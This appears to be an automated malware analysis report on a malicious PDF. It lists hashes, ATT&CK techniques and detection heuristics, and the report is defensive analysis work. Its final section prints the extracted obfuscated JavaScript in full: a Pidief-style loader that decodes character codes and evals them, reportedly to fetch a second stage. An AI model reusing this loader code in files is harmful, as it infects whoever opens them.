Malicious PDF — malware analysis report

Static analysis result for SHA-256 6618e9703cb8da41…

MALICIOUS

PDF

44.5 KB First seen: 2012-10-22
MD5: 1dc3cbd7a070c1e15d1d8192f09c3cba SHA-1: a9853d6d4458a63b6774c96135ef42425a6f026b SHA-256: 6618e9703cb8da41569b88762bef55686a3afe1c52196222082bfe8b1945ca96
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified as a Pidief-style loader. This script reconstructs and executes a payload by concatenating character codes. The script's primary function is to download and execute a second-stage payload, as indicated by the ML classifier's high confidence and the heuristic firings.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF70 481 bytes
SHA-256: 9ff364000040812e16b1a50b56933faad354bb296c1cefaa1178fdad6ac2bb10
Preview script
First 1,000 lines of the extracted script
xpak='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+='b'+'st';qqq='split';}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
s=a[0]+b+a[1]+'l';
e=(t,qwe)()[s];
lno=e('ti'+'tle');
s=lno.substr(t.length + 8,3)+'str';
q=lno[s](1,(1,t.length + 7));
ihm=e('S'+'tring.fro'+q);
q=lno[s](14)[qqq]('u');
k=q.length;
for (i = 0; i != k; i+=2) {
	wlzsx = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	xpak += ihm(wlzsx);
}
e(xpak);

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